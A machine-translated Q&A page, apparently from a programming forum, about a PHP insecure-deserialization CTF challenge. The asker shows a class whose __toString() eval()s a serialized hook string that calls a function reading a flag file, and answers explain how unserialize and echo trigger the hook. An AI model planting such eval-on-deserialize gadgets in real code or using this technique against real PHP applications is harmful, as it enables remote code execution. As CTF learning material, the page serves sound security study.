为什么在“ exit()”之后仍继续执行代码?

时间:2019-05-15 20:28:58

标签: php serialization ctf

我正在做一个CTF挑战,它涉及PHP中不安全的反序列化。目的是通过将代码注入反序列化来打印标志,以执行print_flag()函数。我怀疑即使调用exit(),Web服务器也只会打印脚本回显的最后一行,该行会覆盖标志的输出。

提供了一部分在网络服务器上运行的php代码。我已经在自己的php脚本中实现了它,以找出有效的方法和无效的方法。我已经成功地序列化了反序列化时执行代码的对象。通过调用exit(print_flag());,标志将被打印,而没有任何进一步的错误……至少在我的脚本中。当我将序列化的对象发送到Web服务器时,它仍然会打印出更多错误。

此外,我尝试从注入的代码返回一个字符串。那也不行。

function print_flag() {
    print file_get_contents('/var/flag/flag.txt');
}

class Example2
{
    private $hook;

    function __construct() {
        $this->hook = "exit(print_flag());";
    }

    function __toString()
    {
        if (isset($this->hook)) eval($this->hook);
    }
}

$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);

该代码与挑战中显示的代码相似,但经过修改后对我有用。

我希望代码仅返回标志。在我自己的计算机上执行脚本时,输出为:

  

O:8:“ Example2”:1:{s:14:“ Example2 hook”; s:19:“ exit(print_flag());”;}   这是旗帜

当我不使用exit()进行呼叫时:

  

PHP可恢复的致命错误:方法示例2 :: __ toString()必须   在第39行的../phpObjInj.php中返回一个字符串值。

网络服务器返回:

  

可捕获的致命错误:方法示例2 :: __ toString()必须返回一个   第79行的/var/www/index.php中的字符串值

如何停止打印错误?

2 个答案:

答案 0 :(得分:0)

由于unserialize($flag);导致发生错误。由于unserialize()的参数应该是字符串,因此它将尝试将Example2对象转换为字符串。您可能打算使用unserialize($serialized);

但更一般而言,您应确保__toString()方法返回字符串。如果您不关心它是什么,则可以返回一个空字符串。

function __toString()
{
    if (isset($this->hook)) eval($this->hook);
    return "";
}

当您在钩子中插入exit()时,不会发生此错误,因为脚本在__toString()方法返回之前退出,因此它永远不会检查返回值。

exit()之后什么也没有执行。操作顺序如下:

  • new Example2-创建新对象
  • serialize($flag)-创建代表对象的字符串
  • print "$serialized\r\n";-打印以上字符串

上述步骤均不需要调用__toString(),因此该挂钩尚未执行。

  • deserialize($flag)-这需要将$flag转换为字符串,以便可以将其解析为序列化数据。
    • 致电$flag->__toString()
    • eval($this->hook)
    • 致电print_flag(),它会显示标志
    • 调用exit(),这会终止脚本

因此,您看到打印了序列化的对象,然后打印了标志,然后由于exit()而没有其他内容。

要演示此漏洞,应使用正确的参数调用unserialize()

$deserialized = unserialize($seralized);
echo $deserialized;

echo语句将导致调用__toString()方法。然后将退出脚本,并且您不会收到错误消息。

答案 1 :(得分:0)

删除构造函数function __construct()中的双引号 代替

function __construct() {
    $this->hook = "exit(print_flag());";
}

使用

function __construct() {
    $this->hook = exit(print_flag());
}
相关问题